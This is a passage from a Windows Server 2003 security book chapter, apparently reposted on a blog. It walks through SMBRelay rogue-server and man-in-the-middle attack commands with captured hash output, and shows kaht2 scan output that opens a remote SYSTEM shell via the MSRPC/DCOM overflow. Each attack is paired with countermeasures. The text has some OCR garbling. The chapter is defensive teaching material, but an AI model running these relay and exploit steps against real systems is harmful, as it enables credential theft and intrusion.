▼ Rogue server attacks ▲ MITM attacks
Rogue Server Attacks
Popularity:
2
Simplicity:
2
Impact:
7
Risk Rating:
3
In May 2001, Sir Dystic of Cult of the Dead Cow wrote and released a tool called SMBRelay to much fanfare—The Register breathlessly sensationalized the tool with the headline "Exploit Devastates WinNT/2K Security," apparently not aware of the weaknesses in LM authentication that had been around for some time by this point.
SMBRelay is essentially an SMB server that can harvest usernames and password hashes from incoming SMB traffic. As the name implies, SMBRelay can act as more than just a rogue SMB endpoint—it also can perform MITM attacks given certain circumstances. We'll discuss SMBRelay's MITM functionality in an upcoming section of this chapter entitled "MITM Attacks"; for now, we'll focus on its use as a simple rogue SMB server.
Setting up a rogue SMBRelay server is quite simple. The first step is to run the SMBRelay tool with the enumerate switch (/e) to identify an appropriate physical interface on which to run the listener:
C:\>smbrelay /E
SMBRelay v0.992 - TCP (NetBT) level SMB man-in-the-middle relay attack Copyright 2 001: Sir Dystic, Cult of the Dead Cow
Send complaints, ideas and donations to sirdystic@cultdeadcow.com [2] ETHERNET CSMACD - 3Com 10/100 Mini PCI Ethernet Adapter
[1] SOFTWARE LOOPBACK - MS TCP Loopback interface
As this example illustrates, the interface with index 2 is the most appropriate to select because it is a physical card that will be accessible from remote systems (the Loopback adapter is accessible only to localhost). Of course, with multiple adapters options widen, but we'll stick to the simplest case here and use the index 2 adapter in further discussion. Note that this index number may change between separate usages of SMBRelay.
Starting the server can be tricky on Windows Server 2000 and later systems because the OS won't allow another process to bind SMB port TCP 139 when the OS is using it. One way around this is to disable TCP 139 temporarily by checking Disable NetBIOS Over TCP/IP, an option that can be found by selecting the Properties of the appropriate Local Area Connection, and then selecting Properties of Internet Protocol (TCP/IP), clicking the Advanced button, and selecting the appropriate radio button on the WINS tab, as discussed in Chapter 4. Once this is done, SMBRelay can bind TCP 139.
If disabling TCP 139 is not an option, the attacker must create a virtual IP address on which to run the rogue SMB server. Thankfully, SMBRelay provides automated functionality to set up and delete virtual IP addresses using a simple command-line switch, /L+ ip_address. However, we have experienced erratic results using the /L switch on Windows 2000 and recommend disabling TCP 139, as explained previously, rather than using /L.
One additional detail to consider when using SMBRelay on NT 4 SP 6a and later: If a modern SMB client fails to connect on TCP 139, it will then attempt an SMB connection on TCP 445, as discussed in Chapter 2. To avoid having these later clients circumvent the rogue SMBRelay server listening on TCP 139, TCP 445 should be blocked or disabled on the rogue server. Since the only way to disable TCP 445 leaves TCP 139 intact, the best way is to block TCP 445 using an IPSec filter (see Chapter 16).
The following examples illustrate SMBRelay running on a Windows 2000 host and assumes that TCP 139 has been disabled (as explained) and that TCP 445 has been blocked using an IPSec filter.
Here's how to start SMBRelay on Windows 2000, assuming that interface index 2 will be used for the local listener and relay address, and the rogue server will listen on the existing IP address for this interface:
C:\>smbrelay /IL 2 /IR 2
SMBRelay v0.992 - TCP (NetBT) level SMB man-in-the-middle relay attack Copyright 2 001: Sir Dystic, Cult of the Dead Cow
Send complaints, ideas and donations to sirdystic@cultdeadcow.com Using relay adapter index 2: 3Com EtherLink PCI Bound to port 139 on address 192.168.234.3 4
Subsequently, SMBRelaywill beginto receive incoming SMB sessionnegotiations. When a victim client successfully negotiates an SMB session, here is what SMBRelay does:
Connection from 192.168.234.44:1526 Request type: Session Request 72 bytes Source name: CAESARS <00> Target name: *SMBSERVER <2 0>
Setting target name to source name and source name to 'CDC4EVER'... Response: Positive Session Response 4 bytes
Request type: Session Message 137 bytes
SMB_COM_NEGOTIATE
Response: Session Message 119 bytes
Challenge (8 bytes): 952B499767C1D123
Request type: Session Message 298 bytes SMB_COM_SESSION_SETUP_ANDX Password lengths: 24 24 Case insensitive password:
4050C79D024AE0F391DF9A8A5BD5F3AE5E8024C5B9489BF6
Case sensitive password:
544FEA21F61D8E854F4C3B4ADF6FA6A5D85F9CEBAB966EEB
Username: "Administrator"
Domain: "CAESARS-TS"
OS: "Windows Server 2003 2195"
Lanman type: "Windows Server 2003 5.0" ""'
Response: Session Message 156 bytes
OS: "Windows 5.0"
Lanman type: "Windows Server 2003 LAN Manager"
Domain: "CAESARS-TS"
Password hash written to disk Connected?
Relay IP address added to interface 2 Bound to port 139 on address 192.1.1.1
relaying for host CAESARS 192.168.234.44
As you can see, both the LM ("case insensitive") and NTLM ("case sensitive") passwords have been captured and written to the file hashes.txt in the current working directory. This file may be imported into L0phtcrack for cracking.
Because of file format differences with versions later than 2.52, SMBRelay-captured hashes cannot be imported directly into LOphtcrack.
What's even worse, the attacker's system now can access the client machine by simply connecting to it via the relay address, which defaults to 192.1.1.1. Here's what this looks like:
C:\>net use * \\192.1.1.1\c$
Drive E: is now connected to \\192.168.234.252\c$.
The command completed successfully. C:\>dir e:
Volume in drive G has no label. Volume Serial Number is 44F0-BFDD
Directory of G:\
12/02/2000
12/02/2000 05/25/2001 05/25/2001 0 Fi2e(s) 10:51p
10:08p 03:4 7a
03:4 7a
Documents and Settings
Inetpub
Program Fi2es
WINNT
0 bytes
4 Dir(s) 44,405,624,832 bytes free
On the Windows 2000 client system that unwittingly connected to the SMBRelay server in the preceding example, the following behavior is observed. First, the original net use command appears to have failed, throwing system error 64. Running net use will indicate that no drives are mounted. However, running net session will reveal that it is unwittingly connected to the spoofed machine name (CDC4EVER, which SMBRelay sets by default unless changed using the /S name parameter):
C:\client>net use \\192.168.234.34\ipc$ * /u:Administrator
Type the password for \\192.168.234.34\ipc$: System error 64 has occurred.
The specified network name is no longer available. C:\client>>net use
New connections will not be remembered. There are no entries in the list. C:\client>>net session
Computer User name Client Type Opens Idle time
\\CDC4EVER ADMINISTRATOR 0wned by cDc 0 00:00:27
The command completed successfully.
Some issues commonly crop up when using SMBRelay. The next example illustrates
those. Our intended victim's IP address is 192.168.234.223.
Connection from 192.168.234.223:2173
Error receiving data from incoming connection
This typicallyoccurs whenthe victim supplies aninvalid username/password combination. SMBRelay will continue to listen, but it may encounter further errors:
Connection rejected: 192.168.234.223 already connected
Once a connection has been attempted from a given victim's IP address and fails, all further attempts from this address will generate this error. (This is according to the design of the program, as stated in the readme.) You may also experience this issue even if the initial negotiation is successful but you receive a message like "Login failure code: 0xC000006D." Restarting SMBRelay alleviates these problems (just press ctrl-c to stop it). In addition, you may see spurious entries like the following:
Connection from 169.254.9.119:2174 Unable to connect to 169.254.9.119:139
This is the Loopback adapter making connections to the SMBRelay server—they are safe to ignore.
Remember that it is also possible to use ARP redirection/cache poisoning to redirect client traffic to a rogue SMB server; see Hacking Exposed, Fourth Edition, Chapter 9.
O Countermeasures to SMB Redirection
Vendor Bulletin:
NA
Bugtraq ID:
NA
Fixed in SP:
NA
Log Signature:
N
In theory, SMBRelay is quite difficult to defend against. Since it claims to be capable of negotiating all of the different LM/NTLM authentication dialects, it should be able to capture whatever authentication is directed toward it.
Digitally signing SMB communications (discussed in the following "Countermea-sures to MITM section) can be used to combat SMBRelay MITM attacks, but it will not always derail fraudulent server attacks since SMBRelay can downgrade secure channel negotiation with victim clients if possible.
MITM Attacks
Popularity:
2
Simplicity:
2
Impact:
8
Risk Rating:
3
MITM attacks werethe mainreasonforthegreathypeoverSMBRelaywhenitwas released. Although the concept of SMB MITM attacks was quite old by the time SMBRelay was released, it was the first widely distributed tool to automate the attack.
Here's an example of setting up MITM with SMBRelay. The attacker in this example sets up a fraudulent server at 192.168.234.251 using the /L+ switch, a relay address of 192.168.234.252 using /R, and a target server address of 192.168.234.34 with /T:
C:\>smbrelay /IL 2 /IR 2 /R 192.168.234.252 /T 192.168.234.220
Bound to port 139 on address 192.168.234.2 51
A victim client, 192.168.234.220, then connects to the fraudulent server address, thinking it is talking to the target:
Connection from 192.168.234.220:1043 Request type: Session Request 72 bytes Source name: GW2KNT4 <00> Target name: *SMBSERVER <2 0>
Setting target name to source name and source name to 'CDC4EVER'... Response: Positive Session Response 4 bytes
Request type: Session Message 174 bytes
SMB_COM_NEGOTIATE
Response: Session Message 95 bytes
Challenge (8 bytes): 1DEDB6BF7973DD06
Security signatures required by server *** THIS MAY NOT WORK! Disabling security signatures
Note that the target server has been configured to require digitally signed SMB communications, and the SMBRelay attempts to disable the signatures.
Request type: Session Message 286 bytes
SMB_COM_SESSION_SETUP_ANDX
Password lengths: 24 24
Case insensitive password: A4DA35F982C8E17FA2BBB952CBC01382C210FF29461A71F1 Case sensitive password: F0C2D1CA8895BD26C7C7E8CAA54E10F1E1203DAD4782FB95
Username: "Administrator"
Domain: "NT4DOM"
OS: "Windows NT 1381"
Lanman type: ""
???: "Windows NT 4.0"
Response: Session Message 144 bytes
OS: "Windows NT 4.0"
Lanman type: "NT LAN Manager 4.0"
Domain: "NT4DOM"
Password hash written to disk Connected?
Relay IP address added to interface 2
Bound to port 139 on address 192.168.234.252 relaying for host GW2KNT4 192.168.234.220
At this point, the attacker has successfully inserted herself into the SMB stream between victim client and target server and derived the client's LM and NTLM hashes from the challenge-response. Connecting to the relayaddress will give access to the targetserver's resources. For example, here is a separate attack system mounting the C$ share on the relay address:
D:\>net use * \\192.168.234.252\c$
Drive G: is now connected to \\celery\e$.
The command completed successfully.
Here's what the connection from this attacker's system (192.168.234.50) looks like on the SMBRelay server console:
*** Relay connection for target GW2KNT4 received from 192.168.234.50:1044 *** Sent positive session response for relay target GW2KNT4 *** Sent dialect selection response (7) for target GW2KNT4 *** Sent SMB Session setup response for relay to GW2KNT4
SMBRelay can be erratic and results are not always this clean, but when implemented successfully, this is clearly a devastating attack: the MITM has gained complete access to the target server's resources without really lifting a finger.
Of course, the key hurdle here is to convince a victim client to authenticate to the MITM server in the first place, but we've already discussed several ways to do this. One would be to send a malicious e-mail message to the victim client with an embedded hyperlink to the MITM SMBRelay server's address. The other would be to implement an ARP poisoning attack against an entire segment, causing all of the systems on the segment to authenticate through the fraudulent MITM server. Chapter 9 of HackingExposed, Fourth Edition discusses ARP redirection/cache poisoning.
Countermeasures to MITM
Vendor Bulletin:
NA
Bugtraq ID:
NA
Fixed in SP:
NA
Log Signature:
N
The seemingly obvious countermeasure to SMBRelay is to configure NT family systems to use SMB Signing, which is now referred to as digitally signing Microsoft network client/server communications. SMB Signing was introduced with Windows NT 4 Service Pack 3 and is discussed in KB article Q161372.
As thenamesuggests,settingWindowsServer2003tosignclientorservercommunica-tions digitally will cause it to sign each block of SMB communications cryptographically. This signature can be checked by a client or server to ensure the integrity and authenticity ofeachblock, makingSMB server spoofingtheoreticallyimpossible(well, highlyimproba-ble at least, depending on the signing algorithm that is used). Windows Server 2003's security policies around SMB sessions is shown in Table 5-2. These settings are found under SecurityPolicy/LocalPolicies/SecurityOptions. Thus,iftheserversupports SMB Signing, Windows Server 2003 will use it. To force SMB Signing, optionally enable the settings that state "Always."
i^Xl Using SMB Signing incurs network overhead, and it may cause connectivity issues with NT 4 systems, ^™ even if SMB Signing is enabled on those systems.
Since SMBRelay MITM attacks are essentially legitimate connections, no tell-tale log entries appear to indicate that it is occurring. On the victim client, connectivity issues may arise when connecting to fraudulent SMBRelay servers, including System Error 59, "An unexpected network error occurred." The connection will actually succeed, thanks to SMBRelay, but it disconnects the client and hijacks the connection for itself.
EXPLOITING WINDOWS-SPECIFIC SERVICES
The Windows-specific services were described in Chapter 3 (Table 3-2). Our definitionof "Windows-specific services" is rather informal, but in essence it encompasses any remotely accessible network daemon or application that is proprietary to Microsoft Corporation, or is a Microsoft proprietary implementation of a standard protocol (e.g., Kerberos). This section will cover remote exploits of these services.
IIS, SQL Server, and Terminal Server will be discussed individually in Chapters 10,11, and 12, respectively, due to the vast attention malicious hackers have historically paid to those services.
Another key differentiator for this section of the chapter is the focus on exploitation of theseservices. Althoughwehavediscussedpasswordguessing,eavesdroppingonlogons, and other techniques to take advantage of many of these services already in this chapter, this section will focus on exploiting known bugs in service software code. Put another way, this section will cover "point-and-click" exploitation of a vulnerable service.
MSRPC interface buffer overflows (Blaster Worm)
Popularity:
10
Simplicity:
10
Impact:
10
Risk Rating:
10
Much like its most recent predecessor SQL Slammer (see Chapter 11), the genesis of the Blaster worm was in a Microsoft published security bulletin about a serious vulnerability in a protocol that was rarely thought of much but nevertheless was ubiquitous across computing infrastructures worldwide: the Microsoft Remote Procedure Call (MSRPC) Endpoint Mapper. This vulnerability is exploitable via TCP/UDP135,139,445, and 593 (and also via HTTP if Com Internet Services is installed on Windows 2000).
The actual vulnerability is in a low-level Distributed Component Object Model (DCOM) interface within the RPC process. Successful exploitation of the issue leads to LocalSystem-equivalent privileges, the worst kind of remote compromise.
In early August 2003, soon after the Microsoft bulletin describing this vulnerability was published, several security research groups released proof-of-concept code to exploit the buffer overflow, and sure enough, an automated worm was soon released which infected over 400,000 unpatched machines. This worm was originally dubbed the LOVESAN worm, but is now more commonly known as Blaster. Details on the worm's activities and payload can be found on any reputable antivirus vendor's website, but essentially, this legion of infected computers was harnessed to launch a distributed denial of service (DDoS, see Chapter 15) attack against the windowsupdate.com domain beginning on August 16, 2003 and continuing until December. This sort of blatant targeting of corporate infrastructure and its sheer scale were unprecedented, but fortunately, the windowsupdate.com domain was not actually used anymore by Microsoft Corporation, who simply removed the DNS records for that domain and thereby squelched the threat. It will be interesting to see in the future how the Internet community reacts to more thoughtfully crafted worms.
In parallel with and subsequent to Blaster's meteoric rise and fall, several other tools to exploit the MSRPC issue surfaced on the Internet. One of the more frightening ones was a program called kaht2, which scans a user-defined range of IP addresses for the MSRPC bug, and then pops a shell back to the attacker for each vulnerable system it found. Kaht2 is shown below scanning a Class C-sized subnet:
KAHT II - MASSIVE RPC EXPLOIT DCOM RPC exploit. Modified by aT4r@3wdesign.es #haxorcitos && #localhost @Efnet Ownz you!!! PUBLIC VERSION :P
[+] Targets: 192.168.234.1-192.168.234.254 with 50 Threads [+] Attacking Port: 135. Remote Shell at port: 37156 [+] Scan In Progress...
- Connecting to 192.168.234.4
Sending Exploit to a [WinXP] Server...
- Conectando con la Shell Remota...
Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.
C:\WINNT\system32>
C:\WINNT\system32>whoami
whoami
nt authority\system
As you can see from this output, kaht2 finds a vulnerable Windows XP machine, sends an exploit to port 135, and then pops a shell back that runs as LocalSystem. Wicked.
liM We've experienced interesting results using kaht2—sometimes it seems to be unable to find open ^™ ports, and on one victim Windows Server 2003 system, it caused the RPC service to terminate and the system forcibly shut itself down within 20 seconds.
Unfortunately, the fun didn't stop with the first MSRPC interface vulnerability. On September 10, 2003, Microsoft announced a second vulnerability in the same MSRPC/DCOM interface code, just as this book was going to press. The second vulnerability had the same essential severity and impact as the first. Although most organizations tightened up their defenses following the Blaster outbreak, the appearance of a second bulletin concerning the same code so close to the first was disconcerting to customers who spent a lot of effort and downtime patching the first bug. Hopefully, Microsoft has now fixed all of the security issues with MSRPC interfaces. Regardless, the days of blithely assuming no threat exists via MSRPC on its various ports are now over.
Countermeasures to MSRPC Interface Buffer Overflows
Vendor Bulletin:
MS03-026, MS03-039
Bugtraq ID:
8205
Fixed in SP:
Windows 2000 SP 5, XP SP 2,
and Server 2003 SP 1
Log Signature:
N
Microsoft announced a standard two-point approach to preventing attacks against this vulnerability:
1. Block network ports used to exploit this issue. These include: UDP ports 135, 137, 138, 445 and TCP ports 135, 139, 445, 593 and COM Internet Services (CIS) and RPC over HTTP, which listen on ports 80 and 443.
2. Get the patch.
For those that really want to sacrifice usability for security, disabling DCOM per KB article 825750 will of course prevent this and future problems from occurring. However, this severely hampers remote communication with and from the affected machine, so test this option thoroughly for compatibility with your business before implementing.
SUMMARY
In this chapter, we've covered attacks against NT family services, ranging from the mundane (password guessing), to the sophisticated (MITM attacks), to the flat-out nasty (MSRPC interfacebufferoverflows). Althoughyourhead maybespinningwiththenum-ber of attacks that are feasible against Microsoft's network protocols, the following are the most important defensive points to remember:
▼ Block access to Windows-specific services using network and host-based firewalls.
■ Disable Windows services if they are not being used; for example, unbinding File And Printer Sharing for Microsoft Networks from the appropriate adapter is the most secure way to disable SMB services on Windows Server 2003. (See Chapter 4 for more information.)
■ If you must enable SMB services, set the Security Policy "Network Access" options appropriately to prevent easy enumeration of user account names (see Chapter 4).
■ Enforce strong passwords using Security Policy/Account Policies/"Passwords must meet complexity requirements" setting.
■ Enable account lockout using Security Policy/Account Policies/Account Lockout Policy.
■ Lock out the true Administrator account using passprop.
■ Rename the true Administrator account and create a decoy Administrator account that is not a member of any group.
■ Enable auditing of logon events under Security Policy/Audit Policy and review the logs frequently (use automated log analysis and reporting tools as warranted).
■ Carefully scrutinize employees who require Administrator privileges and ensure that proper policies are in place to limit their access beyond their term of employment.
■ Set the "Network Security: LAN Manager Authentication Level" to at least "Send NTLM Response Only" on all systems in your environment, especially legacy systems like Windows 9x, which can implement LMAuthentication Level 3 using the DSClient update on the Windows Server 2003 CD-ROM.
■ Be wary of HTML e-mails or web pages that solicit logon to Windows resources using the file:// URL (although such links may be invisible to the user).
▲ Keep up with patches (as always)
And last but not least, don't forget that Windows authentication and related services are only the most obvious doors into Windows Server 2003 systems. Even if it is disabled, plenty of other good avenues of entry are available, including IIS (Chapter 10) and SQL (Chapter 11). Don't get a false sense of security just because SMB is buttoned up!
REFERENCES AND FURTHER READING
Reference
Link
Relevant Advisories
Technical rant on the weaknesses of the LM hash and challenge-response
Relevant Knowledge Base Articles
288164, "How to Prevent the Creation of Administrative Shares on Windows NT Server 4.0" http://www.security focus.com/archive/1/7336
http://support.microsoft .com/?kbid=288164
Reference
Link
Q147706, "How to Disable LM Authentication on
http://support.microsoft
Windows NT"
.com/?kbid=147706
Q239869, "How to Enable NTLM 2 Authentication"
http://support.microsoft
.com/?kbid=239869
Q161372, "How to Enable SMB Signing in
http://support.microsoft
Windows NT"
.com/?kbid=161372
Freeware Tools
DelGuest by Arne Vidstrom
http://ntsecurity.nu/
toolbox/
COAST dictionaries and word lists
ftp://coast.cs.purdue.edu/
pub/dict/
WinPcap, a free packet capture architecture
http://netgroup-serv
for Windows by the Politecnico di Torino,
.polito.it/winpcap/
Italy (included with L0phtcrack 3 and later)
kerbsniff and kerbcrack by Arne Vidstrom
http://www.ntsecurity
.nu/toolbox/kerbcrack/
ScoopLM and BeatLM
http://www.securityfriday
.com
SMBRelay by Sir Dystic
http://webhackingexposed
.com/smbrelay.zip
snarp by Frank Knobbe, ARP cache poisoning
http://www.securityfocus
utility, works on NT 4 only, not always reliably
.com/tools/1969
Ettercap, a multipurpose sniffer/interceptor/
http://ettercap.sourceforge
logger for switched LANs
.net/
Commercial Tools
Event Log Monitor (ELM) from TNT Software
http://www.tntsoftware
.com
EventAdmin from Aelita Software
http://www.aelita.com/
default.asp
Network Associates CyberCop Scanner, including
http://www.nai.com
the SMBGrind utility
L0phtcrack with SMB Packet Capture
http://www.atstake.com
CIFS/SMB Hacking Incidents in the News
"Exploit Devastates WinNT/2K Security," The
http://www.theregister
Register, May 2, 2001, covering the release of
.co.uk/content/8/
SMBRelay
18370.html
Reference
Link
General References
Samba, a UNIX SMB implementation
http://www.samba.org
"Modifying Windows NT Logon Credential," Hernan Ochoa, CORE-SDI, outlines the "pass-the-hash" concept
http://www.corest.com/ papers/
Luke Kenneth Casson Leighton's web site, a great resource for technical CIFS/SMB information
http://www.cb1.com/ ~lkcl/
"Feasibility of attacking Windows 2000 Kerberos Passwords" by Frank O'Dwyer
http://www.brd.ie/papers/ w2kkrb/feasibility_of_w2k_ kerberos_attack.htm
DCE/RPC over SMB: Samba and Windows NT Domain Internals, Luke K. C. Leighton, Macmillan Technical Publishing
ISBN: 1578701503
CIFS/SMB specifications from Microsoft
ftp://ftp.microsoft.com/ developr/drg/cifs/
Hacking Exposed, Fourth Edition, Chapter 9, "Network Devices," covers ARP redirection/cache poisoning
ISBN: 0072227427
No comments:
Post a Comment